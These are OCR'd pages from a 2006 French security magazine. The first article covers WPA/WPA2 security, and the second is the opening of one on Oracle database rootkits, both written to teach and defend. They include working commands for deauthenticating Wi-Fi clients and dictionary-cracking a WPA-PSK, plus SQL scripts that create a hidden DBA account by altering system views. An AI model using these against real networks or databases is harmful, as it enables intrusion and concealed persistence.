Figure 13. Calcul du MIC en utilisant l'algorithme Michael
Figure 14. Chiffrement CCMP
22
hakin9 Nº 1/2006
www.hakin9.org
limitation, des contre-mesures sont
nécessaires pour éviter la construction du MIC. Les erreurs relatives au
MIC doivent se maintenir en dessous
de deux par minute pour éviter une
mise en quarantaine de 60 secondes
et une re-négociation des clés (GTK
et PTK). Le MIC est calculé en utilisant l'adresse source (SA), l'adresse
destination (DA), le texte en clair
MSDU et la TMK appropriée (dépendant du sens de la communication,
Sécurité WEP, WPA et WPA2
une clé différente étant utilisée pour
la transmission et la réception).
CCMP est basé sur le chiffrement par bloc AES (Advanced Encryption Standard) dans son mode
d'opération CCM avec une taille de
clé et de bloc de 128 bits. AES est
à CCMP ce que RC4 est à TKIP mais
contrairement à TKIP, qui a été fait
pour s'accomoder du matériel WEP
existant, il n'est pas un compromis
de sécurité mais une nouvelle architecture de protocole. CCMP utilise
le mode compteur en combinaison
avec la méthode d'authentification
des messages appellée Cipher Block
Chaining (CBC-MAC) permettant de
produire un MIC.
Des propriétés intéressantes
furent aussi ajoutées comme l'utilisation d'une simple clé pour le
chiffrement et l'authentification des
données (avec un vecteur d'initialisation différent pour chacun) ou
l'authentification de données non
chiffrées. Le protocole CCMP ajoute
16 octets au MPDU : 8 octets pour
l'en-tête CCMP et 8 octets pour le
MIC. L'en-tête CCMP est un champ
non chiffré inclu entre l'en-tête MAC
et la partie des données chiffrées
contenant les 48 bits du PN (Packet
Number = IV étendu) et le Group Key
KeyID. Le PN est incrémenté de un
pour chaque MPDU.
Le calcul du MIC utilise l'algorithme CBC-MAC qui chiffre un bloc
aléatoire de départ (obtenu grâce au
champ Priority, à l'adresse source
du MPDU et au PN incrémenté)
et XOR les blocs suivants pour obtenir un MIC final sur 64 bits (le MIC
final fait 128 bits mais les 64 bits de
poids faible sont écartés). Le MIC est
alors concaténé aux données en clair
pour le chiffrement AES en mode
compteur. Ce compteur est construit
sur une valeur aléatoire identique
à celle utilisée pour le MIC combinée
à un compteur incrémenté de 1 pour
chaque bloc.
Le dernier protocol est le WRAP,
aussi basé sur AES, mais utilisant le
schéma de chiffrement et d'authentification OCB (Offset Codebook
Mode). OCB fut le premier mode
sélectionné par le groupe de travail
Listing 7. Découverte des réseaux et des clients Wi-Fi environnants
# airodump ath0 wpa-crk 0
BSSID
00:13:10:1F:9A:72
PWR
56
Beacons
112
# Data
16
BSSID
00:13:10:1F:9A:72
STATION
00:0C:F1:19:77:5C
PWR
34
CH
1
MB
48
Packets
1
ENC
WPA
ESSID
hakin9demo
ESSID
hakin9demo
Listing 8. Lancement de l'attaque par dictionnaire
$ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap
Opening wpa-psk.cap
Read 541 packets.
BSSID
ESSID
Encryption
00:13:10:1F:9A:72 hakin9demo WPA (1 handshake)
IEEE 802.11i mais il fut abandonné
à cause de problèmes de propriété
intellectuelle et d'une éventuelle
licence. CCMP fut alors adopté
comme obligatoire.
Les faiblesses de
WPA/WPA2
Quelques faiblesses ont été découvertes dans WPA/WPA2 depuis leur
sortie, aucune d'entre elles n'est critique si des recommandations simples
de sécurité sont suivies.
La vulnérabilité la plus exploitable est une attaque contre la clé
PSK utilisée dans WPA/WPA2.
Comme déjà mentionné précédemment, la PSK est une alternative
à la génération de la PMK par des
échanges 802.1X basés sur un
serveur d'authentification. La PSK
est une chaîne de caractères de
256 bits ou une phrase secrète
comprise entre 8 et 63 caractères
de laquelle on extrait la chaîne de
caractères par un algorithme connu : PSK = PMK = PBKDF2 (phrase
secrète, SSID, longueur du SSID,
4096, 256) où PBKDF2 est une méthode issue de PKCS#5, 4096 est
le nombre de hachage successifs
et 256 la taille de la sortie. La PTK
est dérivée de la PMK en utilisant le
4-Way Handshake et toute les informations nécessaires à son calcul
sont transmises en clair.
La force de la PTK repose uniquement sur la valeur de la PMK,
qui dans le cas de la PSK repose
www.hakin9.org
sur la force de la phrase secrète
l'ayant générée. Comme souligné
par Robert Moskowitz, le second
message du 4-Way Handshake
peut être sujet à des attaques par
dictionnaire et force brute hors ligne. L'utilitaire cowpatty a été créé
pour exploiter cette faiblesse et son
code source fut repris et amélioré
par Christophe Devine dans Aircrack afin de réaliser des attaques
par force brute ou dictionnaire sur la
PSK du WPA. L'architecture du protocole (4096 hachage pour chaque
tentative de phrase secrète) implique que les attaques de type brute
force soient très lentes (quelques
centaines de phrases secrètes par
seconde sur le dernier modèle de
processeur). La PMK ne peut pas
être pré-calculée (et mise dans des
tables) car la phrase secrète dispose d'une graîne basé sur l'ESSID.
Une phrase secrète n'apparaissant
dans aucun dictionnaire (et de taille
supérieur à 20 caractères) doit être
choisie pour se protéger contre
cette faiblesse.
Pour réaliser cette attaque, un
attaquant doit capturer les messages du 4-Way Handshake en
scrutant passivement les trames du
réseau sans fil ou en utilisant l'attaque par dé-authentification (décrite
précédemment) pour accélérer le
processus. En fait, seul les deux
premiers messages sont requis
pour tester les choix de PSK. On se
souvient que la PTK = PRF-X (PMK,
hakin9 Nº 1/2006
23
Dossier
client identifié par son adresse MAC
00:0C:F1:19:77:5C est associé et
authentifié sur le réseau sans fil (indiquant qu'il a achevé correctement
le 4-Way Handshake).
Une fois le réseau cible de l'attaque repéré, la capture doit être
réalisée sur le canal adéquat pour
éviter de perdre des paquets lors
du passage sur les autres canaux.
Cette étape fournit une sortie similaire à l'étape précédente :
# airodump ath0 wpa-psk 1
Pour l'exemple pratique, cela
commence exactement de la même
façon que pour le cassage du WEP :
le mode moniteur doit être activé sur
la carte sans fil :
Les clients légitimes peuvent ensuite être dé-authentifiés, les forçant
à réaliser une nouvelle authentification
permettant ainsi à l'attaquant de capturer les messages du 4-Way Handshake. Aireplay est utilisé pour réaliser
cette attaque, il va dé-authentifier le
client sélectionné du BSSID spécifié
en lui envoyant une fausse requête de
dé-authentification :
# airmon.sh start ath0
# aireplay -0 1 -a <BSSID>
Figure 15. WPA-PSK faible découverte avec Aircrack
Pairwise key expansion, Min(AP_
Mac, STA_Mac) || Max(AP_Mac,
STA_Mac) || Min(ANonce, SNonce)
|| Max(ANonce, Snonce)) où la
PMK est égale à la PSK dans notre
cas. Après la transmission du second message, l'attaquant connait
ANonce (grâce au 1er message) et
SNonce (grâce au 2ème message) et
peut commencer à choisir une PSK
pour calculer la PTK et dériver les
clés temporelles. Si la PSK est correctement choisie, le MIC du second
message peut être obtenu avec la
KCK correspondante, sinon un nouveau choix doit être effectué.
L'étape suivante consiste a découvrir
les réseaux et les clients sans fils
environnants (voir le Listing 7).
Le résultat peut être interprété de
la façon suivante : un point d'accès
avec le BSSID 00:13:10:1F:9A:72 utilise le protocole WPA sur le canal 1
avec le SSID hakin9demo et un
-c <client_mac> ath0
L'étape finale consiste à lancer l'attaque par dictionnaire en utilisant Aircrack (voir le Listing 8). La Figure 15
illustre le résultat de l'attaque.
L'autre faille principale du WPA
est un possible déni de service durant
le 4-Way Handshake. Changhua He
Sur Internet
•
•
•
•
•
•
•
24
http://standards.ieee.org/getieee802/download/802.11i2004.pdf – Norme IEEE 802.11i,
http://www.awprofessional.com/title/0321136209 – Real
802.11 Security Wi-Fi Protected Access and 802.11i (John
Edney, William A. Arbaugh) – Addison Wesley – ISBN :
0-321-13620-9,
http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm – An
inductive chosen plaintext attack against WEP/WEP2 (Arbaugh),
http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf
– Weaknesses in the Key Scheduling Algorithm of RC4
(Fluhrer, Mantin, Shamir),
ht tp: / / w w w.dac hb 0 den.c om / pr ojec ts / bsd - air tools/
wepexp.txt – optimisation d'h1kari,
http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf – Intercepting Mobile Communications : The Insecurity of 802.11
(Borisov, Goldberg, Wagner),
http://airsnort.shmoo.com/ – AirSnort,
hakin9 Nº 1/2006
•
•
•
•
•
•
•
•
•
•
http://www.cr0.net:8040/code/network/aircrack/ – Aircrack
(Devine),
http://weplab.sourceforge.net/ – Weplab (Sanchez),
http://www.wifinetnews.com/archives/002452.html – WPA
PSK weakness (Moskowitz),
http://new.remote-exploit.org /images /5/5a /Cowpatty2.0.tar.gz – Outil de cassage de clé WPA-PSK Cowpatty,
http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf
– Analysis of the 802.11i 4-Way Handshake (He, Mitchell),
http://www.cs.umd.edu/%7ewaa/1x.pdf – An initial security
analysis of the IEEE 802.1X
standard (Arbaugh, Mishra),
http://support.microsoft.com/?kbid=893357 – Mise à jour
pour le WPA2 pour Microsoft Windows XP SP2,
http://hostap.epitest.fi/wpa_supplicant/ – wpa_supplicant,
http://www.securityfocus.com/infocus/1814 – WEP: Dead
Again, Part 1,
http://www.securityfocus.com/infocus/1824 – WEP: Dead
Again, Part 2.
www.hakin9.org
Sécurité WEP, WPA et WPA2
Listing 9. Exemple de fichier de configuration wpa_supplicant pour un
réseau WPA2
ap_scan=1
# Scan des fréquences radio et sélection
# du point d'accès approprié
network={
# Premier réseau sans fil
ssid="some_ssid" # SSID du réseau
scan_ssid=1
# Forcer l'envoi de Probe Request
# pour la découverte de SSID cachés
proto=RSN
# RSN pour WPA2/IEEE 802.11i
key_mgmt=WPA-PSK # Authentification par clé pré-partagée (Pre-Shared Key)
pairwise=CCMP
# Protocol CCMP (chiffrement AES)
psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac
}
Figure 16. Support du WPA2 dans
Windows XP SP2
et John C. Mitchell identifièrent que le
premier message du 4-Way Handshake n'était pas authentifié et que
chaque client devait stocker chaque
1er message jusqu'à réception d'un
troisième message (signé), laissant
alors le client potentiellement vulnérable à une saturation de mémoire. En
usurpant le premier message envoyé
par le point d'accès, un attaquant
peut réaliser un déni de service sur le
client si plusieurs sessions simultanées peuvent coexister simultanément au niveau du client.
L'algorithme Michael utilisé pour
calculé le MIC a aussi des faiblesses
résultant de son design (voulues
par le groupe de travail 802.11i). La
sécurité de Michael repose sur le fait
qu'il est chiffré au sein du paquet.
Les fonctions cryptographiques pour
calculer des MIC sont habituellement résistante au attaques en clair
connu (où l'attaquant dispose du
message en clair et du MIC), mais
Michael s'avère vulnérable a ce
type d'attaque car il est inversible.
En connaissant un message et sa
valeur MIC associée, il est possible
de découvrir la clé secrète servant
à calculer le MIC, le secret du MIC
est donc critique.
La dernière vulnérabilité connue
est une attaque théorique possible
sur les Temporal Key Hash du WPA
en réduisant la complexité de l'attaque (de ∂128 à ∂105) sous certaines
conditions (connaissance de certaines clés RC4).
Le WPA/WPA2 est aussi sujet
a des vulnérabilités affectant d'autre
méchanismes standard au sein de
la norme 802.11i comme les attaques par usurpation des messages
802.1X (EAPoL Logoff, EAPoL
Start, EAP Failure etc.) décrites par
William A. Arbaugh et Arunesh Mishra
une nouvelle fois dûes au manque
d'authentification. Enfin il est important
de noter que l'utilisation des protocoles WPA/WPA2 n'empêchera pas
des attaques sur les couches basses
tels que le brouillage radio, les dénis
de service par violation de la norme
802.11, les dé-authentifications, les
dé-associations, etc.
Implémentation
de WPA/WPA2
dans les systèmes
d'exploitation
Dans Windows, le support WPA2
n'est pas inclu de base. Une mise
À propos de l'auteur
Guillaume Lehembre est un consultant sécurité français travaillant pour le cabinet
HSC (Hervé Schauer Consultants – http://www.hsc.fr) depuis 2004. Il a travaillé sur
différents audits, études et tests d'intrusion et a acquis une expérience certaine dans
la sécurité des réseaux sans fils. Il a publié des articles et réalisé des interventions
publiques sur ce sujet. Guillaume peut être contacté à l'adresse suivante : Guillaume.
[email protected].
à jour de Windows XP SP2
(KB893357) est sortie le 29 avril
2005 ajoutant le support de WPA2 et
améliorant la détection des réseaux
sans fil (voir la Figure 16). Les autres
versions de Windows doivent utiliser
un client (supplicant) externe (commerciaux ou open source, comme
wpa_supplicant – la version Windows étant expérimentale).
Sous Linux et les différents types
de BSD, wpa_supplicant implémentait déjà le support WPA2 dès
la sortie de la norme finale 802.11i.
Il supporte un grand nombre de méthodes EAP et de fonctionnalités de
gestion de clés pour WPA, WPA2 et
WEP. Plusieurs réseaux peuvent être
déclarés au sein d'un même fichier
de configuration disposant de chiffrement, gestion des clés, méthodes
EAP variées. La Listing 9 présente
un fichier basique de configuration
pour un réseau basé sur WPA2.
L'emplacement par défaut pour le
fichier de configuration de wpa_supplicant est /etc/wpa_supplicant.conf,
ce fichier doit être uniquement accessible à l'utilisateur root.
Le démon wpa_supplicant doit
être lancé avec les privilèges root
en mode débogage dans un premier temps (option -dd), avec le
support du bon pilote (dans notre
exemple cela correspond à l'option -D madwifi pour supporter la
puce Atheros), le nom de l'interface
(avec l'option -i, dans notre cas
ath0) et le chemin du fichier de configuration (option -c) :
# wpa_supplicant
-D madWi-Fi
www.hakin9.org
hakin9 Nº 1/2006
25
Dossier
-dd -c /etc/wpa_supplicant.conf
-i ath0
Toutes les étapes théoriques décrites précédements sont visibles dans
le mode de debogage (association
à l'AP, authentification 802.1X, 4-Way
Handshake, etc.). Quand tout fonctionne correctement, wpa_supplicant
peut être lancé en mode démon (en
remplaçant l'option -dd par -B).
Sur Macintosh, le WPA2 est
supporté avec la mise à jour 4.2 de
l'utilitaire Apple AirPort : AirPort Ex-
treme-enabled Macintoshes, AirPort
Extreme Base Station et le AirPort
Express.
Conclusion
Il est clair que le protocole de chiffrement WEP ne garantie pas une
sécurité suffisante pour les réseaux
sans fil Wi-Fi, il ne peut qu'être utilisé
en complémentarité d'une solution
de chiffrement de plus haut niveau
(comme les technologies VPN).
Le WPA représente une solution
sécurisée pour les équipements
supportant une mise à jour mais ne
pouvant passer au WPA2 mais ce
dernier représente une solution plus
pérenne et sera à l'avenir le standard
en terme de sécurité des réseaux
sans fils Wi-Fi. N'oubliez pas de
positionner vos réseaux sans fils
dans une zone filtrée séparée et de
garder toujours une connexion filaire
à portée pour les réseaux critiques
– le brouillage radio et les attaques
de bas niveau (violation du standard
802.11, fausse dé-association, etc.)
étant toujours dévastatrices. l
Glossaire
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
26
AP – Access Point, station de base pour un réseau Wi-Fi (appelé aussi point d'accès ou borne) interconnectant les clients
sans fil entre eux ainsi qu'au réseau filaire.
ARP – Address Resolution Protocol, protocole faisant la correspondance entre adresse IP et adresse MAC.
BSSID – Basic Service Set Identifier, adresse MAC du point
d'accès.
CCMP – Counter-Mode/Cipher Block Chaining Message
Authentication Code Protocol, protocole de chiffrement utilisé dans WPA2 basé sur l'algorithme de chiffrement par bloc
AES.
CRC – Cyclic Redundancy Check, algorithme de pseudointégrité utilisé par le protocole WEP (comporte de nombreuses faiblesses).
EAP – Extensible Authentication Protocol, cadre de travail
pour des méthodes d'authentification variées.
EAPOL – EAP Over LAN, protocole utilisé dans les réseaux
sans fil pour le transport d'EAP.
GEK – Group Encryption Key, clé de chiffrement pour le trafic
en diffusion (aussi utilisée pour l'intégrité des données dans
CCMP).
GIK – Group Integrity Key, clé d'intégrité pour le trafic en
diffusion (utilisé dans TKIP).
GMK – Group Master Key, clé maîtresse de la hiérarchie de
groupe.
GTK – Group Transient Key, clé dérivée de la GMK.
ICV – Integrity Check Value, champ de donnée concaténé
aux données en clair pour garantir l'intégrité (basé sur l'algorithme faible CRC32).
IV – Initialization Vector, donnée combinée à la clé de chiffrement afin de produire une suite chiffrante unique.
KCK – Key Confirmation Key, clé d'intégrité utilisée pour
protéger les échanges de clé.
KEK – Key Encryption Key, clé de confidentialité utilisée pour
protéger les échanges de clé.
MIC – Message Integrity Code, champ de donnée ajouté
aux données en clair pour garantir l'intégrité (basé sur l'algorithme Michael).
MK – Master Key, clé maîtresse connue du client 802.1x et
du serveur d'authentification à l'issu du processus d'authentification 802.1x.
hakin9 Nº 1/2006
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MPDU – Mac Protocol Data Unit, paquet de donnée avant
fragmentation.
MSDU – Mac Service Data Unit, paquet de donnée après
fragmentation.
PAE – Port Access Entity, port logique 802.1x.
PMK – Pairwise Master Key, clé maîtresse de la hiérarchie
de clé pairwise.
PSK – Pre-Shared Key, clé dérivée d'un mot de passe,
remplaçant la PMK normalement issue d'un vrai serveur
d'authentification.
PTK – Pairwise Transient Key, clé dérivée de la PMK.
RSN – Robust Security Network, méchanismes de sécurité
802.11i (TKIP, CCMP etc.).
RSNA – Robust Security Network Association, association
de sécurité utilisée dans RSN.
RSN IE – Robust Security Network Information Element,
champ contenant les informations RSN inclues dans les
trames Probe Response et Association Request.
SSID – Service Set Identifier, identifiant du réseau sans fil
(identique à l'ESSID).
STA – Station, un client sans fil.
TK – Temporary Key, clé pour le chiffrement des données
à destination d'une machine (unicast) (utilisé pour le calcul
des données d'intégrité dans le protocole CCMP).
TKIP – Temporal Key Integrity Protocol, protocole de chiffrement utilisé dans le WPA, basé sur l'algorithme de chiffement
RC4 (comme le WEP).
TMK – Temporary MIC Key, clé pour l'authenticité des données du trafic à destination d'une machine (unicast) (utilisé
dans TKIP).
TSC – TKIP Sequence Counter, compteur anti-rejeu utilisé
dans TKIP (basé sur l'IV étendu).
TSN – Transitional Security Network, méchanismes de sécurité pre-802.11i (WEP etc.).
WEP – Wired Equivalent Privacy, protocole de chiffrement
par défaut des réseaux sans fil de type 802.11.
WPA – Wireless Protected Access, implémentation d'une
pré-version de la norme 802.11i basée sur le protocole de
chiffrement TKIP.
WRAP – Wireless Robust Authenticated Protocol, ancien
protocole de chiffrement utilisé dans le WPA2.
www.hakin9.org
Rootkits sous Oracle
Focus
Alexander Kornbrust
Degré de difficulté
Les rootkits dans les systèmes d'exploitation ne sont pas
nouveaux. Les intrus s'en servent depuis des années pour cacher
leurs traces. Rares sont ceux, qui savent que les rootkits sont
également implémentés dans les bases de données, contenant
souvent des données critiques des entreprises. Étudiez les
rootkits dans les bases de données Oracle et apprenez à les
éviter.
O
racle est un leader du marché dans
le domaine des bases de données
relationnelles. Les bases de données
Oracle sont employées pratiquement dans toutes
grandes entreprises. Les données critiques pour
l'entreprise ou les données importantes sont souvent sauvegardées dans ces bases de données.
Rien d'étonnant qu'Oracle deviennent de plus en
plus régulièrement la cible des attaques.
Les rootkits sous la base de données Oracle sont relativement récents. Ils sont installés
après une entrée réussie dans une base de
données Oracle pour, d'un côté, cacher les traces de l'entrée et de l'autre côté, pour cacher la
présence de l'intrus dans la base. Jetez donc
un coup d'œil sur les concepts de rootkits sous
Oracle, les possibilités différentes d'implémentation ainsi que les contre-mesures.
Rootkits sous Oracle
– introduction
Les bases de données d'Oracle et les systèmes
d'exploitation sont assez similaires en ce qui concerne leur architecture. Les bases de données et
les systèmes d'exploitation ont tous les deux des
utilisateurs, des processus, des tâches, des exécutables et des liens symboliques. Le Tableau 1
28
hakin9 Nº 1/2006
présente un exemple d'un mappage entre les
commandes du système d'exploitation *NIX et
des commandes d’Oracle. Un intrus peut bénéficier de cette ressemblance entre les commandes
pour migrer le concept de rootkits mais aussi
d'autres logiciels malveillants, comme les virus,
du monde de systèmes d'exploitation, vers celui
des bases de données d’Oracle.
L'astuce commune des rootkits des systèmes d'exploitation (première génération)
consistait à créer des utilisateurs cachés,
invisibles pour l'administrateur. Pour ce
faire, les commandes *NIX, comme ps, who
et top ont été remplacées par des versions
Cet article explique...
•
•
•
les bases des rootkits sous Oracle,
des méthodes différentes pour implémenter un
rootkit,
comment trouver des rootkits sous Oracle.
Ce qu'il faut savoir...
•
www.hakin9.org
Vous devez avoir des bases de l'architecture de
bases de données SQL et Oracle.
Rootkits sous Oracle
Listing 1. Créer un utilisateur
de base de données
-- créer un utilisateur
-- et accorder
-- une permission
--de l'administrateur
SQL> CREATE USER HACKER
SQL> IDENTIFIED BY HACKER;
SQL> GRANT DBA TO HACKER;
-- Afficher des utilisateurs
SQL> SELECT USERNAME
SQL> FROM DBA_USERS;
USERNAME
----------------SYS
SYSTEM
DBSNMP
SYSMAN
MGMT_VIEW
HACKER
…
infectées par des chevaux de Troie
qui affichent tout à l'exception du
compte de l'utilisateur créé par
l'intrus. Cette approche peut également être introduite dans une
base de données d’Oracle. Il faut
seulement savoir comment Oracle
représente, stocke et emploie les
utilisateurs de bases de données.
Les utilisateurs Oracle sont stockés
dans la table de la base de données
SYS.USER$ avec les rôles de la base de
données. Les utilisateurs disposent du
drapeau TYPE#=1 et les rôles disposent
du drapeau TYPE#=0. Afin de faciliter
l'accès, la retro-compatibilité et la compatibilité ascendante, Oracle fournit
deux vues appelées respectivement
dba _ users et all _ users via un synonyme public (la structure de la table
change d'une version à l'autre). La plupart des bases de données et d'outils
se servent de ces vues pour accéder
à la table SYS.USER$. Si ces vues sont
à présent modifiées de sorte qu'un utilisateur spécial, p. ex. HACKER , ne soit
plus visible, un utilisateur caché est
donc crée (dans la plupart des cas).
Dans un premier temps, etudiez le
Listing 1. Vous allez créer un utilisateur
et vérifier s'il est visible. Maintenant,
modifiez la vue DBA _ USERS et une ligne
supplémentaire de cette vue :
AND U.NAME != 'HACKER'
Tableau 1. Exemple de mappage entre les commandes et les objets
d’Oracle et de système d'exploitation
Commande/objet *NIX
Commande/objet Oracle
ps
SELECT * FROM V$PROCESS
kill <processnumner>
ALTER SYSTEM KILL SESSION '12,55'
Executables
Vues, paquets, fonctions et procédures
Execute
SELECT * FROM MY _ VIEW
cd
ALTER SESSION SET CURRENT _ SCHEMA=USER01
EXEC PROCEDURE
Figure 1. Modification de la vue DBA_USERS à l'aide d'un outil DBA (Quest
TOAD)
Vous pouvez effectuer cette modification au moyen d'un outil GUI (p. ex.
Quest TOAD, voir la Figure 1) ou
d'une déclaration SQL (CREATE VIEW
DBA _ USERS AS ...). Il ne faut pas oublier
que les modifications des vues appartenant à SYS nécessitent le rôle SYSDBA .
Une requête redémarrée dans
la vue DBA _ USERS affiche à présent
tous les utilisateurs à l'exception de
l'utilisateur HACKER nouvellement créé.
www.hakin9.org
Certains outils ou bases de données
se servent des vues ALL _ USERS au lieu
de DBA _ USERS pour afficher tous les
utilisateurs. Pour cette raison, il est nécessaire de modifier également cette
vue. Une fois les modifications des
deux vues effectuées, le nouvel utilisateur disparaît de tous les programmes
utilisant les vues en tant que couche
d'accès. Un intrus doué choisirait des
noms d'utilisateurs moins évidents
hakin9 Nº 1/2006
29
Focus
(p. ex. MTSYS) et une condition WHERE
moins évidente (p. ex. AND U.USER# <>
17 où 17 est le numéro de l'utilisateur
nouvellement créé).
Tous les programmes testés par
l'auteur jusqu'à présent sont concernés, p. ex. Oracle Enterprise Manager (voir les Figures 2 et 3), Oracle
Grid Control (voir les Figures 4 et 5),
Quest SQL Navigator, Quest TOAD,
Embacadero DBArtisan, etc. Les développeurs des outils d'administration
de bases de données ne devraient
jamais dépendre des vues qui peuvent
être modifiées. À la place, ils devraient
toujours accéder aux tables de bases
de données, comme SYS.USER$.
Bases de rootkit
d'Oracle
Figure 2. Affichage de tous les
utilisateurs en Oracle Enterprise
Manager
Comme il a été déjà décrit dans l'introduction, il est possible de créer un
rootkit en modifiant les vues. Le chapitre suivant présentera un aperçu
de différentes possibilités permettant
d'implémenter des rootkits.
Modification de l'objet appelé
Comme déjà mentionné, il est assez
facile de modifier les vues des bases
de données. Vous pourriez vous en
servir pour effacer le contenu sélectionné de la vue. Un exemple sur le
Listing 2 utilise le pacquets dbms_metadata (depuis Oracle 9i). Le pacquets
crée le code DDL depuis un objet de la
base de données et remplace la chaîne WHERE par WHERE u.name != 'HACKER'
via la commande replace.
Figure 4. Afficher tous les
utilisateurs en Oracle Grid Control
Modifier le chemin d'exécution
Figure 3. Afficher tous les
utilisateurs en Oracle Enterprise
Manager après les modifications de
la vue DBA_USERS, à l'exception
de l'utilisateur HACKER
30
hakin9 Nº 1/2006
Il est également possible d'implémenter un rootkit en modifiant le
chemin d'exécution. Dans le cas
des rootkits de bases de données,
on modifie le chemin aux commandes *NIX, comme ps, who, top. La
version infecté d'un cheval de Troie
sera alors exécutée à la place de
la version originale. Cette approche
est avantageuse pour l'intrus car le
programme original et sa somme de
contrôle ne sont pas falsifiés.
Il n'y a aucun chemin dans
le monde de base de données
d’Oracle. Pour cette raison, il est
nécessaire d'adopter le concept et
www.hakin9.org
Figure 5. Afficher tous les
utilisateurs en Oracle Grid Control
après les modifications de la vue
DBA_USERS, à l'exception de
l'utilisateur HACKER
Rootkits sous Oracle
se basant sur la structure du chemin
d'exécution Oracle :
Évolution de rootkit d'Oracle
Des plusieurs étapes dans l'évolution des rootkits d'Oracle peuvent être éxpectés,
comme dans le cas des rootkits de systèmes d'exploitation. Actuellement, seule la
première génération des rootkits d'Oracle existe, mais ce n'est qu'une question de
temps avant que les rootkits d'Oracle évoluent.
Première génération de rootkits d'Oracle
•
•
Les rootkits de la première génération sont implémentés en modifiant ou en
créant des objets de dictionnaire de données ou en modifiant le chemin d'exécution. C'est la plus simple des façons pour créer un rootkit. Des connaissances spéciales ne sont pas nécessaires. Afin de détecter ce type de rootkits, il
suffit de comparer les sommes de contrôle des objets avec une ligne de base
externe.
Deuxième génération de rootkits d'Oracle
Les rootkits de la deuxième génération travaillent sans aucune modification du
chemin d'exécution ou changement des objets de dictionnaire de données. Les
implémentations possibles se servent des caractéristiques d'Oracle, telles que
PL/SQL-Native Compilation ou Virtual Private Database (VPD).
Il est plus difficile de détecter ces types de rootkits car il est nécessaire de disposer p. ex. d'un compte SYS, des privilèges spéciaux (EXEMPT ACCESS POLICY) ou
des sommes de contrôle des fichiers externes.
Troisième génération de rootkits d'Oracle
Cette génération travaille de manière similaire que les rootkits du noyau des systèmes d'exploitation et il est très difficile de la détecter. Les objets sont modifiés
directement dans le SGA. Depuis Oracle 10g Release 2, Oracle fournit une API
permettant d'accéder directement au SGA. L'accès direct au SGA non supporté est
possible même dans les anciennes versions de bases de données. Le niveau du
savoir-faire concernant la création et la détection des rootkits sera plus élevé par
rapport à la première génération.
d'ajuster l'implémentation. Il est utile
de regarder comment Oracle procède pour effectuer une déclaration
SQL, comme :
SELECT * FROM DBA_USERS
Dans cette requête, Oracle vérifie
dans un premier temps si un objet lo-
cal (table ou vue) appelé DBA _ USERS
existe. Si c'est le cas, cet objet sera
utilisé dans la requête. Sinon, Oracle
cherche un synonyme privé portant
ce nom. Si un synonyme privé existe,
Oracle l'utilisera. Sinon, Oracle vérifie s'il y a un synonyme public.
Il existe des possibilités différentes pour implémenter un rootkit en
Listing 2. Simple script SQL qui crée et cache un utilisateur HACKER
set linesize 2000
set long 90000
EXECUTE DBMS_METADATA.SET_TRANSFORM_PARAM §
(DBMS_METADATA.SESSION_TRANSFORM,'STORAGE',false);
spool rk_source.sql
select replace(cast(dbms_metadata.get_ddl('VIEW','ALL_USERS') §
as VARCHAR2(4000)),'where','where u.name !=''HACKER'' and ') §
from dual union select '/' from dual;
select replace(cast(dbms_metadata.get_ddl('VIEW','DBA_USERS') §
as VARCHAR2(4000)),'where','where u.name !=''HACKER'' and ') §
from dual union select '/' from dual;
spool off
create user hacker identified by hackerpw;
grant dba to hacker;
@rk_source.sql
www.hakin9.org
•
•
créer un nouvel objet local portant le même nom dans le schéma d'utilisateur (voir le Listing 3),
créer un nouvel objet qui se
réfère à l'objet original (vue ou
table de la base) ou un nouvel
objet contenant une copie des
données de l'objet original. La
table DBA _ USERS pourrait être liée
au déclencheur pour SYS.USER$
(voir le Listing 4),
créer un synonyme privé et un
nouvel objet local (voir le Listing 5),
modifier un synonyme public et
créer un nouvel objet local (voir le
Listing 6).
L'inconvénient de trois premières
méthodes est que seul le propriétaire
du schéma est affecté par ces modifications. Un intrus doit créer des objets
différents pour des comptes d'administrateur différents. La plupart des
intrus préfèrent la quatrième méthode
car la vue originale n'est pas modifiée
et la méthode est valable pour tous les
comptes à l'exception de SYS.
Déclencheurs potentiels pour
les modifications
Il existe plus de 2000 vues de système appartenant au propriétaire SYS
(vues Oracle 10.1.0.4: 2643). Toute
vue n'est pas une bonne cible pour
l'intrus. Certaines sont plus prometteuses que les autres. Les vues
de système présentées dans le
Tableau 2 sont particulièrement attrayantes pour les intrus et devraient
être vérifiées de façon régulière au
moyen de DBA.
Pseudo-code/concept
d'un rootkit d'Oracle
Le chapitre suivant décrit les composants typiques de la première
génération de rootkit d'Oracle. Les
nouveaux utilisateurs cachés sont
souvent créés en premier temps
dans cette génération de rootkits.
Ensuite, toutes les traces sont supprimées dans les fichiers divers de
journal de traces et les archives. Les
hakin9 Nº 1/2006
31
Focus
Listing 3. Créer une nouvelle vue dans le schéma de l'utilisateur (p. ex.
SYSTEM) (le rôle SYSDBA est nécessaire)
CREATE VIEW DBA_USERS AS
SELECT *
FROM SYS.DBA_USERS
WHERE USERNAME != 'HACKER';
•
Listing 4. Créer une nouvelle table DBA_USERS dans le schéma de
l'utilisateur (p. ex. SYSTEM)
CREATE TABLE DBA_USERS AS
SELECT *
FROM SYS.DBA_USERS
WHERE USERNAME != 'HACKER';
CREATE TABLE DBA_MYUSERS AS
SELECT *
FROM SYS.DBA_USERS
WHERE USERNAME != 'HACKER';
CREATE SYNONYM DBA_USERS FOR HACKER.DBA_MYUSERS;
•
•
•
créer et cacher des utilisateurs
invisibles,
cacher des processus actifs,
nettoyer le journal listener d’Oracle,
nettoyer le SGA d'Oracle,
nettoyer RedoLog d'Oracle,
intercepter les appels du package
d'Oracle,
installer un rénifleur de mots de
passe d'Oracle.
Créer et cacher des
utilisateurs
Comme vous l'avez déjà vu, il existe
des possibilités différentes de cacher les utilisateurs. Reportez-vous
aux exemples susmentionnés.
Cacher des processus actifs
Listing 6. Créer une nouvelle table DBA_MYUSERS dans le schéma
de l'utilisateur (p. ex. SYSTEM)
CREATE TABLE DBA_MYUSERS AS
SELECT *
FROM SYS.DBA_USERS
WHERE USERNAME != 'HACKER';
CREATE OR REPLACE SYNONYM DBA_USERS FOR HACKER.DBA_MYUSERS;
